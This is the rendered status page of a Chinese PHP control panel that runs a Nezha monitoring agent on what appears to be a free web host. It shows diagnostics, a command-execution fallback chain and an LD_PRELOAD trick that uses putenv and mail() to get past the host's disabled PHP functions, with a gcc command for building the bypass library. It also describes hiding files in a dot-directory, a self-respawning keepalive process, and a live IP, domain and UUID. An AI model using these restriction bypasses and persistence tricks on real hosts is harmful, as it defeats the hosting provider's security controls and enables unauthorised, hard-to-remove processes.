哪吒管理面板 v8.11b
nz.zxydk1715.dpdns.org:443 | IP: 154.53.44.13 | UUID: fdcd9987-d85c-4e72-abc4-61369e6ed8c5
🔒 UUID 已锁定 — 保存到 .nezha_uuid,不再随 IP 漂移
✅ 命令执行可用 (proc_open) + 🔓 LD_PRELOAD 绕过就绪
环境
PHP8.1.33 (litespeed)
架构x86_64
系统Linux 5.14.0-570.55.1.el9_6.x86_64
最佳方式proc_open
LD_PRELOAD✅
时间2026-08-28 02:09:18
📋 Agent 日志 实时
暂无日志
暂无日志。点击「▶ 启动」开始运行 agent,日志会自动写入 .stfp/.nezha_log 并显示在这里。
📋 执行结果
=== 综合诊断 ===
时间: 2026-08-28 02:09:17
PHP: 8.1.33 (litespeed)
OS: Linux 5.14.0-570.55.1.el9_6.x86_64
Arch: x86_64
shell 执行: ✅ proc_open/popen/exec/shell_exec/system/passthru
LD_PRELOAD: ✅ 可用
=== 1. bypass.so 文件检测 ===
⚠️ bypass.so 不存在: /home/mftqtjsi/public_html/.stfp/nezha_bypass.so
(shell 可用时不影响启动;shell 全禁时需要点「🔧 准备绕过环境」)
=== 2. mail() 真实 fork 检测(LD_PRELOAD 触发器)===
⚠️ bypass.so 不存在或太小,跳过 fork 检测
=== 3. bypass.so 命令执行测试 ===
⚠️ bypass.so 不存在或太小,跳过
=== 4. agent 二进制检测 ===
❌ agent 二进制不存在,请点「📥 下载二进制」
=== 5. 配置文件检测 ===
❌ 配置文件不存在
=== 6. agent 日志(最后 30 行)===
❌ 日志不存在(agent 可能从未成功运行)
=== 7. glibc 兼容性 ===
⚠️ shell 不可用或 agent 不存在,跳过 glibc 检测
=== 8. 哪吒 server 连通性 ===
目标: nz.zxydk1715.dpdns.org:443 (tls=true)
✅ DNS 解析: nz.zxydk1715.dpdns.org → 104.21.81.193
⚠️ IP 属于 Cloudflare!gRPC 默认被 CF 拦截
解决 1:CF 后台 → Network → 开启 gRPC 开关
解决 2:DNS 改成灰云(DNS only)
✅ TCP 连接成功 (40ms)
✅ TLS 握手成功
=== 9. 进程状态 ===
ps: 未找到 nezha 进程
pgrep: 未找到
=== 10. ulimit 进程数限制检查 ===
ulimit -u (max user processes): 400
当前账号进程数: 5
剩余槽位: 395
Go 运行时最低需求: ~8 个槽位
✅ 进程槽位充足,ulimit 不是问题
=== 11. 黑针问题诊断(agent 上线但无数据)===
① UUID 不匹配(最常见)
- 你 PHP 面板显示的 UUID: fdcd9987-d85c-4e72-abc4-61369e6ed8c5
- 哪吒 Dashboard 后台 → 服务器 → 编辑这台机器 → 复制 UUID
- 两个 UUID 必须完全一致
- 在本面板「🔑 UUID」区块点「📌 锁定」粘贴正确的 UUID
② client_secret 不匹配
- 你 PHP 面板的 secret: BFbv***0CeL
- 哪吒 Dashboard 后台 → 设置 → Agent 相关 → 复制 secret
- 修改本面板代码开头的 $NZ_SECRET 常量
③ agent 版本与 server 不兼容
- 哪吒 v0/v1 server 必须用 v0 agent
- 哪吒 v2 server 必须用 v2 agent(你下载的是 latest = v2.x)
- 检查 server 版本:哪吒 Dashboard 后台 → 一般 → 版本
④ Cloudflare 挡了 gRPC
- 你的 server 域名: nz.zxydk1715.dpdns.org
- 如果用了 Cloudflare 代理(橙云),默认不转发 gRPC
- 解决:CF 后台 → Network → 开启 gRPC 开关
- 或者:把 DNS 改成 DNS only(灰云)
⑤ TLS 配置不一致
- 你配置: tls=true
- 如果 server 是 nginx 反代 443,必须 tls: true
- 如果 server 直接监听 5555 端口,可能需要 tls: false
🔑 UUID 已锁定
锁定UUIDfdcd9987-d85c-4e72-abc4-61369e6ed8c5
UUID文件存在
进程 未运行
状态❌ 未运行
PID无
检测方式无
详情未检测到
调试pgrep 找到 1 个 PID 但验证均失败(可能是其他用户的 nezha 进程)
文件
agent不存在
config不存在
uuid存在 36B 0600
pid不存在
log不存在
run.sh不存在
.htaccess存在 310B 0644
bypass.so不存在
📁 所有文件已集中到 .stfp/ 隐藏目录:
agent / config / uuid / pid / log / run.sh / bypass.so / cmd.sh
外部主目录只剩 index.php 和 .htaccess
🔓 LD_PRELOAD 绕过 可用
原理:putenv 设置 LD_PRELOAD → mail() 触发子进程 → 加载 .so → constructor 执行命令
条件:putenv + mail/error_log + bypass.so
当前:✅ 条件满足 (putenv+mail 可用)
putenv✅ OK - 环境变量设置成功
mail✅ sendmail_path=/usr/sbin/sendmail -t -i
error_log✅
ini_set✅
bypass.so❌ 不存在
C源码❌
💡 「准备绕过环境」按钮会依次尝试:① 从 GitHub 下载 .so → ② gcc 现场编译 .so → ③ 失败兜底写 .c 源码(用于本地编译后上传)
上传 bypass.so 步骤:
1. 点「准备绕过环境」自动下载或生成 C 源码
2. 如自动下载失败,本地用 gcc -shared -fPIC -o nezha_bypass.so nezha_bypass.so.c -nostartfiles 编译
3. 上传 .so 到 .stfp/ 目录,文件名 nezha_bypass.so
4. 点「测试绕过」验证
PHP 函数深度检测 proc_open
降级链: proc_open → popen → exec → shell_exec → system → passthru
error_logerror_log(备选触发器)绕过
✅
🔄 降级链
命令执行: proc_open → popen → exec → shell_exec → system → passthru → LD_PRELOAD 绕过
启动: run.sh → proc_open → popen → exec → LD_PRELOAD → sendmail_path
下载: PHP curl → shell curl → shell wget
解压: ZipArchive → shell unzip
停止: posix_kill → shell kill → LD_PRELOAD kill
网络
GitHub可达
ghgo.xyz可达
ghproxy不可达
TLS✅
TCP✅
🛡️ 自动保活 未开启
三种工作方式(任选其一即可,可叠加):
① PHP 自循环:开启保活后 PHP 派生后台进程,每 4 小时自动检查+拉起 agent(不需要任何外部触发器)
② 手动访问 URL:你随时可以浏览器访问 start.php 触发一次保活检查
③ 独立 run.sh:把 .stfp/run.sh 拷贝到任意机器/路径,SSH 进去 bash run.sh keepalive 即可保活(适合 PHP 域名不可达的主机)
保活入口https://www.jieke1715.infree.page/start.php
start.php❌ 未生成
PHP自循环—
💡 点击「✅ 开启保活」会同时:
1. 生成 start.php 文件
2. 立即触发首次访问 → 派生 PHP 后台自循环进程(每 4 小时自动检查)
3. 你可以随时手动访问 URL 触发一次保活检查
⚠️ 保活有效性依赖 start.php 和 .stfp/run.sh 文件本身存在
哪吒管理面板 v8.11b (LD_PRELOAD 触发恢复 + 安全熔断 + 文件管理器) | mail() 真调版